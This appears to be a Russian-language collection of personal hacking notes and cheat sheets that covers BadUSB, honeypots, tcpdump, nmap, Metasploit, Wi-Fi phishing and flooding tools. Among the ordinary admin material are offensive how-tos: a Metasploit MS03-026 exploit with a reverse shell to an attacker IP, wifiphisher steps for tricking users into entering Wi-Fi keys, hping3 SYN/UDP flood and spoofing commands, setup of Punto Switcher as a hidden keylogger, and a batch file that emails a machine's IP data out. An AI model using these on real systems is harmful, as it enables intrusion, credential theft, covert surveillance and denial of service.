Ссылки:
|
1 2 3 4 5 6 7 8 |
https://aliexpress.ru/wholesale?SearchText=badusb https://github.com/topics/badusb https://github.com/robertio/DM-3212-Badusb/blob/master/README.md https://github.com/wangwei39120157028/BadUSB https://github.com/asciiterminal/CJMCU_ATMEGA32U4_BADUSB https://github.com/TheMMcOfficial/CJMCU-3212-wifi_ducky https://github.com/joelsernamoreno/badusb_sd_wifi https://www.youtube.com/watch?v=G-Z2rf_AN-c&ab_channel=%D0%9D%D0%BE%D0%9A%D0%BE%D0%BC%D0%BF |
Ссылки:
|
1 2 3 4 5 6 7 8 9 10 11 |
https://opencanary.readthedocs.io/en/latest/starting/configuration.html https://jasonmurray.org/posts/2021/opencanary/ https://github.com/thinkst/opencanary https://github.com/pwnlandia/mhn https://github.com/technicaldada/pentbox https://en.iguru.gr/dimiourgia-honeypot-sto-kali-linux-pentbox/ https://itsecforu.ru/2018/03/19/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0-honeypot-%D0%B2-kali-linux-pentbox/ https://github.com/thinkst/opencanary/wiki https://habr.com/ru/company/alexhost/blog/528796/ https://kali.tools/all/? |
Вроде как актуально:
|
1 2 3 4 |
opencanary https://opencanary.readthedocs.io/en/latest/starting/configuration.html https://jasonmurray.org/posts/2021/opencanary/ |
ссылки
|
1 2 |
https://github.com/rajkumardusad/Tool-X https://amitego.ru/community-2/main-category/tool-x-eto-odnim-slovom-ustanovshhik-hakerskih-programm/ |
установка
|
1 2 3 4 5 6 |
sudo apt update - обновляем установленные пакеты sudo apt install git - устанавливаем git git clone https://github.com/rajkumardusad/Tool-X.git - ставим из git Tool-X cd Tool-X - переходим в каталог с Tool-X chmod +x install.aex - даем права на выполнение sh install.aex если не работает выполняем так ./install.aex |
Как использовать?
|
1 2 3 4 5 6 7 8 9 10 11 12 |
(0) : установить все программы (1): показать все доступные инструменты и ввести номер инструмента, который вы хотите установить. (2): Показать категорию инструментов. (3): для установки операционной системы в Termux (4): если вы хотите обновить Tool-X. (5): Если вы хотите знать о нас. (х): для выхода из инструмента. Программы устанавливаются сюда: cd /root - для linux cd /data/data/com.termux/files/home - для android termux |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
DOS заголовок четыре байта 4D 5a значение Mz текст ..program cannot be run Dos mode. так же адрес начало pe заголовка. 50 45 значение Pe PE заголовок 5045 значение Pe Здесь мы можем увидеть список секций. обычно не больше 10. У каждой секции есть атрибуты чтения, записи и исполнения. Имена секций не фиксированы называться могут как угодно. .text - секция кода где содержится код программы. Чаще всего стоит запрет на запись. Разрешено выполнение и чтение. .data - секция данных. данные для работы программы. Чаще всего стоит запрет на выполнение. Запись и чтение разрешено. .rdata - таблица импорта. перечислены нужные библиотеки для работы программы. .rsrc - ресурсы программы. Картинки, иконки, звуки и мелодии. petools программа для ковыряния исполнительных файлов. entry point адресс входа в программу |
Пользователь:
|
1 |
Пользователь никогда не должен иметь доступ к источнику информации. |
Вирусы:
|
1 2 3 4 5 |
Блокировщики Диструкторы Шифраторы Шпионы Ботнет-DDOS |
Запуск:
|
1 2 3 4 |
1. autorun.inf 2. авто установщики / авто архивы 3. скрипты\зараженные страницы. 4. java \ flash \ ПО \ ОС \ дыры |
Защита:
|
1 2 3 4 5 |
1. Сканирование 2. Запуск в песочнице 3. Отслеживание действий 4. Проверка записи 5. Полная проверка (drweb cureit) AVZ |
Запись неверной инфы в программу / данные:
|
1 2 3 4 5 6 7 8 9 10 |
вероятные события 1. остановка 2. не верный результат 90% - чтение данных 10% - записи данных Два сервера первый запись и чтение. а второй резервный только запись в сучили аварии основного сервера начинаем использовать резервный. |
пароли — подбор:
|
1 2 3 4 5 6 7 |
1. 62 варианта 2. 62 в квадрате 3844 3. Не Болтай..... шоколадки рулят... 4. простые пароли 5. вскрываемые социальные пароли 6. одиночные слова и короткие фразы 7. пустой пароль |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
.NET = dotNET .NET Framework Виртуальная .NET машина - Common Language Runtime (CLR) C Sharp = C# сишарп J Sharp = J# джишарп Visual Basic .NET визуал бейсик дотнет Common Intermediate Launguage CIL - IL - промежуточный язык http://en.wikipedia.org/wiki/List_of_CIL_instructions - инструкции Инструменты net.reflector + addons reflexil.netreflector ilspy Крэкми Можем редактировать только il язык |
Ссылки:
|
1 2 3 4 |
https://wiki.termux.com/wiki/%D0%AD%D0%BA%D1%80%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BA%D0%BB%D0%B0%D0%B2%D0%B8%D0%B0%D1%82%D1%83%D1%80%D0%B0 https://wiki.termux.com/wiki/Kali_Nethunter https://f-droid.org/packages/com.termux/ https://wiki.termux.com/wiki/Main_Page |
Старая доп панель:
vi ~/.termux/termux.properties
|
1 |
extra-keys = [['ESC','/','-','HOME','UP','END','PGUP'],['TAB','CTRL','ALT','LEFT','DOWN','RIGHT','PGDN']] |
Kali Nethunter
|
1 2 3 4 5 6 7 8 9 10 11 |
Установка nethunter: pkg install wget wget https://raw.githubusercontent.com/Hax4us/Nethunter-In-Termux/master/kalinethunter chmod +x kalinethunter bash kalinethunter Решение проблем после установки: apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6 wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.1_all.deb apt --fix-broken install dpkg -i ./kali-archive-keyring_2018.1_all.deb |
metasploit
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
pkg update pkg install unstable-repo pkg install metasploit msfconsole db_status git init ---------- ---------- use auxiliary/scanner/portscan/tcp set PORTS 1-5000 set RHOSTS 192.168.88.161 run search dcom use exploit/windows/dcerpc/ms03_026_dcom set payload windows/shell_reverse_tcp show options set RHOSTS 192.168.88.161 (IP той машины, которую будем проверять на защищенность) set LHOST 192.168.88.247 - IP злоумышленника run cd ..\..\ echo Hello! > achtung.x msg helo можно вводить любую команду, как в обычном cmd.exe |
Любимые приложения:
|
1 |
pkg install openssh python golang vim |
Установка
|
1 2 |
yum install tcpdump - установка в centos apt install tcpdump - установка в debian |
Опции утилиты tcpdump:
|
1 2 3 4 5 6 7 8 9 10 |
-i интерфейс # Задает интерфейс, с которого необходимо анализировать трафик (без указания интерфейса - анализ "первого попавшегося") -n # Отключает преобразование IP в доменные имена. Если указано -nn, то запрещается преобразование номеров портов в название протокола. -e # Включает вывод данных канального уровня (например, MAC-адреса). -v # Вывод дополнительной информации (TTL, опции IP). -s размер # Указание размера захватываемых пакетов. (по умолчанию - пакеты больше 68 байт) -w имя_файла # Задать имя файла, в который сохранять собранную информацию. -r имя_файла # Чтение дампа из заданного файла. -p # Захватывать только трафик, предназначенный данному узлу. (по умолчанию - захват всех пакетов, например в том числе широковещательных). -q # Переводит tcpdump в "бесшумный режим", пакет анализируется на транспортном уровне (протоколы TCP, UDP, ICMP), а не на сетевом (протокол IP). -t # Отключает вывод меток времени. |
Наиболее часто используемые фильтрующие параметры команды tcpdump:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
dst хост # Проверяет, совпадает ли адрес получателя IP-пакета с указанным значением. # Возможно задавать как IP, подсеть в формате 10.0.0.1/24, так и имя хоста. src хост # Проверяет, совпадает ли адрес отправителя IP пакета с указанным значением. # Возможно задавать как IP, подсеть в формате 10.0.0.1/24, так и имя хоста. host хост # Проверяет, совпадает ли адрес отправителя или получателя с заданным значением. # Возможно задавать как IP, подсеть в формате 10.0.0.1/24, так и имя хоста. net имя_сети # Проверяется, находится ли адрес отправителя/получателя в заданной сети. # Возможно указание сети в формате CIDR (например 10.0.0.1/22), либо указание имени сети, # заданной в файле /etc/networks. ip | arp | rarp | tcp | udp | icmp [хост] # Проверяет, принадлежит ли пакет одному из указанных протоколов и при указании адреса хоста проверяет, # совпадает ли адрес отправителя\получателя с заданным. # Возможно задавать как IP, подсеть в формате 10.0.0.1/24, так и имя хоста. [tcp | udp] dst port номер_порта # Проверяется, принадлежит ли пакет протоколу TCP/UDP и равен ли порт назначения заданному. # Можно указать номер порта, либо имя, заданное в файле /etc/services. [tcp | udp] src port номер_порта # Проверяется, принадлежит ли пакет протоколу TCP/UDP и равен ли порт источника заданному. # Можно указать номер порта, либо имя, заданное в файле /etc/services. [tcp | udp] port номер_порта # Проверяется, принадлежит ли пакет протоколу TCP/UDP и равен ли порт назначения или источника заданному. # Можно указать номер порта, либо имя, заданное в файле /etc/services. ether { src | dst | host } MAC_адрес # Проверяется, принадлежит ли сетевой пакет источнику, назначению, # источнику или назначению имеющему заданный MAC_адрес. ip broadcast # Проверяется, является ли IP пакет широковещательным. ether broadcast # Проверяется, является ли ARP-пакет широковещательным. |
Примеры использования tcpdump:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
tcpdump -i eth0 # слушаем интерфейс eth0 tcpdump port 80 # слушаем 80 порт tcpdump host google.com # слушаем трафик с хоста google.com tcpdump -n -i eth0 icmp # Ловим пакеты icmp (ping pong) tcpdump | grep -v ssh # поиск пакетов исключая пакеты ssh tcpdump -n -i eth0 net 192.168.1.15 # трафик с/на IP tcpdump -n -i eth0 net 192.168.1.0/24 # трафик с/в сеть tcpdump -l > dump && tail -f dump # Вывод с записью в файл tcpdump -i eth0 -w traffic.eth0 # Информация о трафике записывается в бинарный файл traffic.eth0 tcpdump -i eth0 -s 0 -w traffic.eth0 # Запись + загрузка в бинарный файл tcpdump -r traffic.eth0 # Читаем из файла tcpdump -i eth0 -X port \(110 or 143\) # Проверка pop и imap на безопасность tcpdump -i eth0 -s 0 -A port 80 | grep GET # (-s 0 весь пакет, -A для ASCII) tcpdump -npi iface_name ether src MAC-address # узнать MAC устройства iface_name -имя интерфейса MAC-address -мак адрес устройства tcpdump -vvv -s 0 -l -n port 53 # показываем DNS трафик tcpdump -nl -i bge0 not port ssh and src \(192.168.16.121 or 192.168.16.54\) tcpdump -n -i eth1 net 192.168.16.121 # Выборка входящий/исходящий по одному IP адресу tcpdump -n -i eth1 net 192.168.16.0/24 # Выборка входящий/исходящий по адресу сети tcpdump -l > dump && tail -f dump # Вывод через буфер tcpdump -i rl0 -w traffic.rl0 # Писать заголовки в бинарный файл tcpdump -i rl0 -s 0 -w traffic.rl0 # Писать в бинарный фйл полные пакеты tcpdump -r traffic.rl0 # Прочитать из файла (так-же для ethereal tcpdump -i eth0 -s 0 -A port 80 | grep GET # -s 0 для полных пакетов, -A для ASCII |
Пример частого применения
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
tcpdump -n -i eth0 -s0 not port 22 and not port 8080 and not port 161 and not arp -n Не преобразовывать dns имена -i eth0 Указывает интерфейс, на котором будет захват трафика (замените eth0 на нужный интерфейс). -s 0 Устанавливает размер снэпшота. По умолчанию tcpdump захватывает только первые 96 байт каждого пакета, параметр -s 0 указывает захватывать полный пакет. not port 22 не собирать инфу по 22 порту and служит для добавления еще фильтра not port 8080 не собирать инфу по 8080 порту and служит для добавления еще фильтра not port 161 не собирать инфу по 161 порту and служит для добавления еще фильтра not arp не собирать инфу по arp |
Еще из одних частых способов применения
|
1 2 3 4 5 6 7 8 9 10 11 |
Возможные параметры: -n: Не преобразовывать IP-адреса и порты в имена. -vvv: Включает максимально подробный вывод. -X: Показывает содержимое пакетов в шестнадцатеричном и ASCII форматах. -i fm1-mac3: Указывает сетевой интерфейс fm1-mac3 для захвата пакетов. port 4000: Фильтрует пакеты по порту 4000. src 192.168.55.60: Фильтрует пакеты по IP-адресу источника 192.168.55.60. dst 192.168.55.60: Фильтрует пакеты по IP-адресу назначения 192.168.55.60. Пример: tcpdump -n -vvv -X port 4000 and dst 192.168.55.60 |
Wireshark to file
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
tcpdump: Утилита для захвата сетевых пакетов. -vvv: Увеличивает уровень детализации выводимой информации. -v дает более подробную информацию, -vv еще больше, и -vvv максимально подробный вывод. -n: Не разрешать IP-адреса и порты в имена. Это делает вывод более быстрым и менее загроможденным. -X: Показывает содержимое пакетов как в шестнадцатеричном, так и в ASCII форматах. Полезно для детального анализа содержимого пакетов. -i fm1-mac3: Указывает интерфейс fm1-mac3 для захвата пакетов. Убедитесь, что это имя вашего сетевого интерфейса. port 4000: Фильтрует пакеты по порту 4000. Только пакеты, относящиеся к этому порту, будут захвачены. and dst 192.168.55.60: Дополнительный фильтр, который захватывает только те пакеты, у которых IP-адрес назначения 192.168.55.60. -w -: Указывает tcpdump записывать вывод в стандартный поток вывода (stdout) вместо файла. Это позволяет передавать данные через канал (pipe) к другой команде. ssh: Утилита для безопасного подключения к удаленным системам через сеть. wrstemp@192.168.16.168: Указывает пользователя (wrstemp) и IP-адрес удаленного компьютера (192.168.16.168), к которому будет выполнено подключение. 'cat > /home/wrstemp/capture.pcap': Команда, которая будет выполнена на удаленном компьютере. Она принимает ввод (в данном случае поток данных от tcpdump) и записывает его в файл /home/wrstemp/capture.pcap. tcpdump -i fm1-mac3 port 4000 and src 192.168.55.60 and dst 192.168.55.60 -w - | ssh wrstemp@192.168.16.168 'cat > /home/wrstemp/capture.pcap' tcpdump -vvv -n -X -i fm1-mac3 port 4000 and dst 192.168.55.60 -w - | ssh -v wrstemp@192.168.16.168 'cat > /home/wrstemp/capture.pcap' |
nmap
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
nmap -v -A 192.168.0.101 - !!! стандартный скан одного хоста nmap -sn 192.168.1.1-254 - !!! сканировать сеть с ip 192.168.15.1 по 192.168.15.254 (выявит живые хосты, используется arp,icmp) nmap -sT -p 22,3389,80 192.168.1.1 - !!! проверить порт 22,3389 у хоста 192.168.1.1 nmap -sI host_zombie host_need_scan -p80-81 - !!! сканировать host_need_scan порты 80-81 через host_zombie nmap -O target.host.com - !!! информация о системе nmap -vv host.target.com - !!! стандартный скан подробный вывод nmap --traceroute ya.ru -p 80 - !!! выполнить traceroute ya.ru используя 80 порт nmap -sV 192.168.11.101 -p 3389 - !!! узнать информацию о хосте 192.168.11.101 по открытому порту 3389 nmap -sV ххх.ххх.ххх.ххх -p 1-65535 - опция -sV - служит для получения версий запущенных сервисов nmap -sX -p 22 192.168.10.10-250 -oN /data/host.txt - Сканирование машин с ip от 10 по 250 и запись результата nmap -A -T4 192.168.100.123 - самый распространенный метод сканирования nmap -v -sP 192.168.0.101/24 - выяснить какой IP каким хостом используется в сети 0/24 nmap -sP 192.168.16.0/24 - выяснить какой IP каким хостом используется в сети 0/24 nmap -sP 192.168.1.0/24 - Узнать занятые IP в сети 1.0/24 (IP, MAC, hostname) nmap -sS -sV -O cb.vu - провести stealth SYN сканирование с определением типа и версии OS nmap -sS -sV -O tager.ru - Скрытое SYN сканирование с определением типа и версии ОС nmap -sS -O -p 21, 25, 80 www.site.com - сканируем www.site.com проверяем только 21, 25, 80 порты, используем определение удалённой ОС (метод OS fingerprints) и стелс сканирование nmap -sT -F -P0 -oN scan.txt www.site.com - сканируем www.site.com применяем обычное сканирование стандартных портов (1-1024), с отменой ping-опросов и заносим результат в файл scan.txt nmap -sU -D 8.8.8.8 8.8.4.4 localhost www.site.com - сканируем www.site.com проводим сканирование UDP-портов, при этом маскируемся двумя хостами (третий наш). nmap 10.0.0.1 - сканировать порты пк с IP 10.0.0.1 nmap -vv 10.0.0.1 - сканировать порты пк с IP 10.0.0.1 (подробный вывод) nmap -vv -sP 10.0.0.0/24 - сканирует сеть 10.0.0.0/24 nmap -vv -P0 -O -p 100-200 10.0.0.1 - сканирует хост 10.0.0.1 (без пинга, вывод инф. об ОС, порты с 100-200) nmap 192.168.15.155 -p- |
Некоторые другие полезные инструменты:
|
1 2 3 |
hping (http://www.hping.org) - сборщик/анализатор IP пакетов fping (fping.sourceforge.net) - сборщик/анализатор IP пакетов round-robin - проверка хостов |
Пример:
|
1 2 |
nmap -sn 10.3.1.3-254 | grep "Nmap scan report" | cut -c `echo -e "Nmap scan report for" | wc -c`-50 > list-address-test.txt for i in `cat list-address-test.txt` ; do echo -e "Подключаюсь к ${i}" && curl https://${i} --connect-timeout 2 ; done |
Пример с веб сервером на питоне:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
0. Запускаем веб сервер: echo "<html><body><h1>Welcome to the Nmap Lab</h1></body></html>" > index.html python3 -m http.server 8000 1. Проверяем его работу curl http://localhost:8000 2. Производим базовое сканирование: nmap -sT -p 8000 localhost 3. Производим более подробное сканирование: nmap -sV -p 8000 localhost 4. Производим сканирование всего пк (популярные порты) nmap localhost 5. Проверяем все порты nmap -p- localhost 6. Проверяем порты 1 по 1000 nmap -p 1-1000 localhost 7. Сохранение в файл txt nmap -oN normal_output.txt localhost 8. Сохранение в файл xml nmap -oX xml_output.xml localhost 9. Сохранение в файл txt формат grebable unix nmap -oG grepable_output.txt localhost |
Пример с netcat:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
0. Так можно сделать порт для тестирования: while true; do nc -n -lvp 7777; done 1. вот так можно проверить: nmap -v -p 7777 localhost 2. А вот так можно сохранить вывод в файл: nmap -v -p 7777 localhost > nmap_scan_output.txt 3. Вот так можно просканировать более подробно сервис и сохранить все в файл nmap -v -p 7777 -sV localhost > nmap_service_scan.txt 4. Грепаем ip ip addr show | grep inet 5. Ищем где в сети еще используется порт 777 и сохраняем результат в файл sudo nmap -v -p 7777 172.61.2.1-254 > network_scan.txt |
P.S. популярное:
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
-v - подробный вывод -p - порты желаем посканить -p21-100 - порты желаем посканить -p- - будем сканить все порты -oA - писать в файл -oX file_san - писать в файл xml --reason - причина пометки --source-port 53 - использовать 53 порт для сканирования Конвертирование в html: apt install xsltproc xsltproc file.xml o -file.html Агрессивный флаг не рекомендуется к использованию ( по сути это набор флагов -sC -sV -SA tracert и т.д.) nmap -A 10.0.0.1 Соединение рвется RST: nmap -sS 10.0.0.1 Соединение устанавливается ACK,RST: nmap -sT 10.0.0.1 Сканирование сети: nmap -sn 10.0.0.0/24 nmap -Pn 10.0.0.0/24 Флаги без установления соединения: nmap -sN 10.0.0.1 Флаг определения сервисов: nmap -sV 10.0.0.1 Флаг дополнительный инфы: nmap -sC 10.0.0.1 Самое типичное сканирование: nmap -sC -sV 10.0.0.1 Определение правил фаервола: nmap -sA 10.0.0.1 Использование скриптов nmap nmap 10.0.0.1 --script=vuln |
|
1 2 3 4 5 6 7 8 9 10 |
https://www.kali.org/ - ссылка aireplay-ng -9 wlan0 - проверить подходит ли ваша плата для инжекта git clone https://github.com/wifiphisher/wifiphisher - ставим по cd wifisphisher - переходим в каталог python setup.py install - ставим по wifiphisher wifiphisher - запускаем по 1 - у атакуемых устройств в правом нижнем угле высветится сеть и потребует повторной авторизации. 2 - у атакуемых устройств высветится сообщение от роутера о том, что необходимо обновить программное обеспечение. И потребует ввести ключ безопасности. Ждем пароль =) как только все покраснеет жмем ctrl+c и увидем пароли |
ссылки:
|
1 2 3 |
https://allwebstuff.info/hping3-%D1%84%D0%BB%D1%83%D0%B4%D0%B8%D0%BC-%D0%BF%D0%BE-%D1%81%D0%B2%D0%BE%D0%B5%D0%BC%D1%83-%D1%81%D0%B0%D0%B9%D1%82%D1%83 https://itsecforu.ru/2018/02/06/hping3-%D1%81%D0%B5%D1%82%D0%B5%D0%B2%D0%BE%D0%B9-%D1%81%D0%BA%D0%B0%D0%BD%D0%B8%D1%80%D1%83%D1%8E%D1%89%D0%B8%D0%B9-%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82-%D0%B3%D0%B5%D0%BD/ |
hping3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 |
hping — бесплатный генератор пакетов и анализатор для протокола TCP / IP, распространенный Salvatore Sanfilippo (также известный как Antirez). apt install hping3 - установка Командный синтаксис: hping3 - имя бинарного приложения. -c 100000 - количество отправленных пакетов. -d 120 - размер каждого пакета, который был отправлен на целевой компьютер. -S - отправляю только пакеты SYN. -w 64 - размер окна TCP. -p 21 - порт назначения (21 — порт FTP). здесь вы можете использовать любой порт. —flood - отправка пакетов как можно быстрее, без необходимости отображать входящие ответы. режим флуда. —rand-source - использование случайных источников IP-адресов. вы также можете использовать -a или -spoof, чтобы скрыть имена хостов. IP-адрес целевого IP-адреса или целевой IP-адрес. hping3 -i u1000 -p 80 IP_СЕРВЕРА - отправить пакеты 1000 в cек IP_СЕРВЕРА на порт 80 -i u1000 - это интервал между отправляемыми пакетами, в микросекундах. u1000 - примерно 1000 пакетов в секунду -p 80 - порт назначения IP_СЕРВЕРА - последний параметр IP адрес куда доставить пакет hping3 -i u1000 --udp -p 80 -d 65500 IP_СЕРВЕРА - udp flood где -d 65500 - размер посылаемого udp пакета hping3 -i u1000 -A -p 80 IP_СЕРВЕРА - TCP ACK flood где -A - отправлять ACK флаг hping3 -i u1000 -S -p 80 IP_СЕРВЕРА - TCP SYN flood где -S - отправлять SYN флаг Так же можно отправлять SYN-ACK, SYN-ACK-FIN флуд, подменять ip адрес, в общем, всё что пожелаете. |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
https://xakep.ru/2014/09/09/podbiraem-devajsy-dlya-nastoyashhego-pentestera/ В общем-го, если не требуется решать каких-то специфических задач то в полноценный инструмент пентестера можно превратить и обычный телефон на базе Android. Благо, соответствующих приложений подданную ОС вполне достаточно. 0. dSploit — набор утилит для проведения пентестинга с помощью смартфона. В его состав входят: утилита для сканирования портов, сканер уязвимостей, приложения для подбора логинов/паролей, инструмент для проведения MITM-атак и многое другое. Для того чтобы использовать весь этот набор, необходимо предварительно порутать девайс и установить на него BusyBox. 1. Network Spoofer — утилита для спуфинга сайтов в беспроводных сетях. 2. Network Discovery — утилита, позволяющая найти все устройства и сети, подключенные к твоей Wi-Fi-точке 3. Shark for Root — сетевой снифер, отлично работающий с 3G- и Wi-Fi-сетями. Полученный дамп затем можно проанализировать в Shark Reader или Wireshark. 4. Penetrate Pro — довольно милое приложение для расшифровки Wi-Fi-трафика, которое умеет рассчитывать WEP/WPA-ключи для некоторых моделей роутеров: Discus, Thomson, Infinitum, BBox, Orange, DMax, SpeedTouch, DLink, BigPond, O2Wireless и Eircom (оригинальная версия утилиты была выпилена с Goole Play, поэтому, скачав из Сети установочный пакет, обязательно проверь его перед инсталляцией). 5. DroidSheep — инструмент для угона сессий, с помощью которого можно быстро получить доступ к чужим аккаунтам Facebook, Twitter, LinkedIn и Gmail. 6. WPScan — сканер уязвимостей для популярного движка WordPress. 7. FaceNiff — еще один инструмент для перехвата веб-сессий. 8. WebSecurify — крутой сканер веб-уязвимостей, доступный для всех десктопных и мобильных платформ. И это еще не полный список, так что, как видишь, для проведения первоначальной разведки хватит и обычного смартфона. |
Ссылки:
|
1 2 3 |
http://pikabu.ru/story/klaviaturnyiy_shpion_ili_kak_priruchit_punto_switcher_1520617 http://help.yandex.ru/punto-win/about/faq.xml https://yandex.ru/soft/punto/win/release/ |
Настроим как Шпион
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
Общие -> Основные Включаем +Запускать при старте Windows Отключаем -Автопереключение -Показывать значок на панели задач Дневник +Вести дневник +Автоматически сохранять содержимое буфера обмена -Не сохранять записи короче 2 слов -Удалить записи старше +Вести дневник в программах исключениях |
Как изменить правила транслитерации?
|
1 2 3 4 |
Чтобы отредактировать правила транслитерации, перейдите в папку по адресу C:\Program Files\Yandex\Punto Switcher\Data и внесите изменения в файлы с названиями translit-en.dat (для транслитерации с английского на русский) и translit-ru.dat (для транслитерации с русского на английский). Эти файлы можно открыть с помощью любого текстового редактора, например с помощью программы «Блокнот». |
Как восстановить пароль от дневника?
|
1 2 3 4 5 6 7 |
Пароль от Punto Switcher хранится локально и не пересылается на сервер, поэтому восстановить его нельзя. Если пароль утерян и вспомнить его не удается, вы можете полностью очистить дневник, удалив в том числе и пароль. Внимание! Все данные в дневнике после этого будут утеряны. Для этого нужно удалить файл diary.dat, находящийся по адресу: В версии 3.1 — C:\Documents and Settings\имя_пользователя\Local Settings\Application Data\Yandex\Punto Switcher\3.1. В версии 3.2 — C:\Documents and Settings\имя_пользователя\Local Settings\Application Data\Yandex\Punto Switcher\3.2. После удаления файла перезапустите программу. |
Как перенести настройки программы и иные данные Punto Switcher на другой компьютер?
|
1 2 3 4 5 6 7 8 9 10 11 |
Настройки программы хранятся только локально на компьютере, в файлах:
replace.dat (список автозамены) diary.dat (содержимое дневника) prog_ex.dat (программы-исключения) user (список правил) Для того чтобы перенести настройки на новый компьютер, нужно перенести эти файлы в папку Punto Switcher на новом компьютере. В зависимости от версии программы, файлы настроек хранятся: В версиях до 3.0 — в папке самой программы на диске С. В версиях старше 3.0: для Windows XP — C:\Documents and Settings\ИМЯ_ПОЛЬЗОВАТЕЛЯ\Application Data\Yandex\Punto Switcher\3.0\(3.1); для Windows Vista и Windows 7 — C:\Users\ИМЯ_ПОЛЬЗОВАТЕЛЯ\AppData\Roaming\Yandex\Punto Switcher\3.0\(3.1.). |
ссылки
|
1 2 |
http://www.blat.net/ http://tavalik.ru/otpravka-soobshhenij-utilitoy-blat/ |
пример
|
1 2 3 4 5 6 |
blat.exe -install -server smtp.yandex.ru -port 25 -f iprdm@yandex.ru -u iprdm -pw 123456 smtp.yandex.ru - smtp адрес вашего почтового сервера, указываем свой -port 25 - smtp порт, скорее всего, у вас такой же iprdm@yandex.ru - ваш почтовый ящик, указываем свой -u iprdm - логин почтового ящика, пишем свой -pw 123456 - пароль почтового ящика, соответственно, указываем свой |
батник отправка ip с помощью blat.exe
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
@echo off ipconfig /all > localip.txt realip.exe > realip.txt ping -n 5 127.0.0.1 > nul blat.exe -install -server smtp.yandex.ru -port 25 -f login@ya.ru -u login -pw pass blat.exe -to login@ya.ru -subject "Local IP" -attachi "localip.txt" -body "Locals IP" blat.exe -to login@ya.ru -subject "Real IP" -attachi "realip.txt" -body "Real IP" del /f /q localip.txt del /f /q realip.txt |
еще пример 0
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
rem *** Путь к программе blat.exe *** set file_blat=D:\blat\ rem *** Путь к файлу с текстом сообщения *** set file_text=D:\blat\report.txt rem *** Путь к файлу для сохранения лога *** set file_log=D:\blat\log_blat.txt rem *** Данные отправителя *** set from_server=smtp.mydomen.com: set from_port=25 set from_mail=report@mydomen.com: set from_name=report set from_pass=password rem *** Данные получателя *** set to_mail=user@mydomen.com set to_subject="Report" rem *** Отправка сообщения *** %file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -to %to_mail% -s %to_subject% -log %file_log% pause |
еще пример 1
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
rem *** Путь к программе blat.exe *** set file_blat=D:\blat\ rem *** Путь к файлу с текстом сообщения *** set file_text=D:\blat\report.txt rem *** Путь к файлу для сохранения лога *** set file_log=D:\blat\log_blat.txt rem *** Данные отправителя *** set from_server=smtp.mydomen.com set from_port=25 set from_mail=report@mydomen.com set from_name=report set from_pass=password rem *** Отправка сообщения *** %file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -to %1 -s %2 -log %file_log% pause |
еще пример 2
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
rem *** Путь к программе blat.exe *** set file_blat=D:\blat\blat.exe rem *** Путь к файлу с текстом сообщения *** set file_text=D:\blat\report.txt rem *** Путь к файлу для сохранения лога *** set file_log=D:\blat\log_blat.txt rem *** Путь к файлу с адресами получателей *** set file_to=D:\blat\mail_list.txt rem *** Тема сообщения *** set to_subject="Report" rem *** Данные отправителя *** set from_server=smtp.mydomen.com set from_port=25 set from_mail=report@mydomen.com set from_name=report set from_pass=password rem *** Отправка сообщения *** %file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -tf %file_to% -s %to_subject% -log %file_log% pause |
еще пример 3
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
rem *** Основная директория файла *** set dir=%~dp0 rem *** Путь к программе blat.exe *** set file_blat=%dir%\blat.exe rem *** Путь к файлу с текстом сообщения *** set file_text=%dir%\report.txt rem *** Путь к файлу для сохранения лога *** set file_log=%dir%\log_blat.txt rem *** Путь к файлу с адресами получателей *** set file_to=%dir%\mail_list.txt rem *** Данные отправителя *** set from_server=smtp.mydomen.com set from_port=25 set from_mail=report@mydomen.com set from_name=report set from_pass=password rem *** Отправка сообщения *** %file_blat% %file_text% -server %from_server%:%from_port% -f %from_mail% -u %from_name% -pw %from_pass% -tf %file_to% -s %1 -log %file_log% |
ссылки
|
1 2 3 4 5 |
